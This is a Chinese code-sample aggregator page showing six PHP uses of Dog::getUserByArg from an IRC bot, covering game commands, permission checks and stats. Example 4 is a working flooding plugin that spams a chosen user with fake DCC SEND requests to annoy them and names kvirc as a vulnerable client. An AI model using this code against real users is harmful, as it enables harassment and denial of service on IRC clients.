本文整理汇总了PHP中Dog::getUserByArg方法的典型用法代码示例。如果您正苦于以下问题:PHP Dog::getUserByArg方法的具体用法?PHP Dog::getUserByArg怎么用?PHP Dog::getUserByArg使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Dog
的用法示例。
在下文中一共展示了Dog::getUserByArg方法的6个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: execute
public static function execute(SR_Player $player, array $args)
{
$bot = Shadowrap::instance($player);
if (count($args) < 2 || count($args) > 3) {
$bot->reply(Shadowhelp::getHelp($player, 'gmsp'));
return false;
}
if (false === ($spell = SR_Spell::getSpell($args[1]))) {
$bot->reply("The spell {$args[1]} is unknown.");
return false;
}
$server = $player->getUser()->getServer();
if (false === ($user = Dog::getUserByArg($args[0]))) {
$bot->reply(sprintf('The user %s is unknown.', $args[0]));
return false;
}
if (false === ($target = Shadowrun4::getPlayerByUID($user->getID()))) {
$bot->reply(sprintf('The player %s is unknown.', $user->getName()));
return false;
}
if (false === $target->isCreated()) {
$bot->reply(sprintf('The player %s has not started a game yet.', $args[0]));
return false;
}
$by = 1;
if (count($args) === 3) {
if (!Common::isNumeric($args[2])) {
$bot->reply(Shadowhelp::getHelp($player, 'gmsp'));
return false;
}
if (false === ($base = $player->getSpellBaseLevel($args[1]))) {
$bot->reply(Shadowhelp::getHelp($player, 'gmsp'));
return false;
}
$by = $args[2] - $base;
}
$target->levelupSpell($spell->getName(), $by);
$target->modify();
$base = $target->getSpellBaseLevel($args[1]);
return $bot->reply(sprintf('The target got changed spells!'));
}
示例2: array
<?php
$lang = array('en' => array('help' => 'Usage: %CMD% [<user>]. Show the irc modes for a user for debugging purposes.', 'priv' => '%s has the %s irc modes in this channel, according to my memory.'));
$plug = Dog::getPlugin();
$chan = Dog::getChannel();
$argv = $plug->argv();
$argc = count($argv);
if ($argc === 0) {
$user = Dog::getUser();
} else {
if ($argc === 1) {
if (false === ($user = Dog::getUserByArg($argv[0]))) {
return Dog::rply('err_user');
}
} else {
return $plug->showHelp();
}
}
$priv = $chan->getPriv($user);
$plug->rply('priv', array($user->getName(), $priv));
示例3: array_shift
$plugin = Dog::getPlugin();
$message = $plugin->argv();
if (count($message) < 2) {
return $plugin->showHelp();
}
$arg = array_shift($message);
$message = implode(' ', $message);
# Admin
if (Dog::hasPermission($serv, false, $user, 'a')) {
if (false !== ($channel = Dog::getChannelByArg($arg))) {
return $channel->sendAction($message);
} elseif (false !== ($tuser = Dog::getUserByArg($arg))) {
return $tuser->sendAction($message);
}
} elseif (DOG::hasPermission($serv, false, $user, 's')) {
if (false !== ($channel = $serv->getChannelByName($arg))) {
return $channel->sendAction($message);
} elseif (false !== ($tuser = $serv->getUserByName($arg))) {
return $tuser->sendAction($message);
}
} else {
if (false !== ($channel = $serv->getChannelByName($arg))) {
return $channel->sendAction($message);
}
}
# Errors
if (false !== ($channel = Dog::getChannelByArg($arg)) || false !== ($tuser = Dog::getUserByArg($arg))) {
return Dog::noPermission('a');
} else {
return Dog::rply('err_target');
}
示例4: array
<?php
$lang = array('en' => array('help' => 'Usage: %CMD% <victim> [<amt=10>]. Try to send masses of DCC SEND file requests to annoy a particular user.', 'good' => 'Protected Clients: nettalk', 'bad' => 'Flawed Clients: kvirc'));
$plugin = Dog::getPlugin();
$argv = $plugin->argv();
$argc = count($argv);
if ($argc === 1) {
$amt = 10;
} elseif ($argc === 2) {
if (0 >= ($amt = (int) $argv[1])) {
return $plugin->showHelp();
}
} else {
return $plugin->showHelp();
}
$user = Dog::getUserByArg($argv[0]);
$server = Dog::getServer();
$one = chr(1);
$ip = ip2long('92.77.135.158');
for ($i = 0; $i < $amt; $i++) {
$filename = GWF_Random::randomKey(16) . '.txt';
$port = rand(10000, 50000);
$filesize = rand(20000, 80000);
$payload = "PRIVMSG {$user->getName()} :{$one}DCC SEND {$filename} {$ip} {$port} {$filesize}{$one}";
// $payload = "PRIVMSG {$user->getName()} :{$one}DCC CHAT $ip $port{$one}";
$server->sendRAW($payload);
}
示例5: event_330
public function event_330()
{
if (false !== ($user = Dog::getUserByArg(Dog::argv(1)))) {
$this->onAutoLogin($user);
}
}
示例6: scumTop5Player
private function scumTop5Player(Dog_User $user, $username)
{
if (false === ($user = Dog::getUserByArg($username))) {
return 'Ùnknown User';
}
$table = GDO::table('Dog_ScumStats');
if (false === ($entry = $table->selectFirst('*', "scums_userid={$user->getID()}"))) {
return 'NO DATA FOR PLAYER YET!';
}
$sid = $user->getSID();
$username = $user->getName();
$games = $entry['scums_games'];
$won = $entry['scums_won'];
$score = $entry['scums_score'];
$rank = $table->selectVar('COUNT(*)', "scums_score>{$score}") + 1;
if (false === ($before = $table->selectFirst('*', "scums_score>{$score}", "scums_score ASC"))) {
return sprintf('%s!%s has played %s games, won %s and scores %s points at rank %s. Praise the grand master!', $username, $sid, $games, $won, $score, $rank);
}
$scoreB = $before['scums_score'];
return sprintf('%s!%s has played %s games, won %s and scores %s points at rank %s. %s points needed for rankup.', $username, $sid, $games, $won, $score, $rank, $scoreB - $score + 1);
}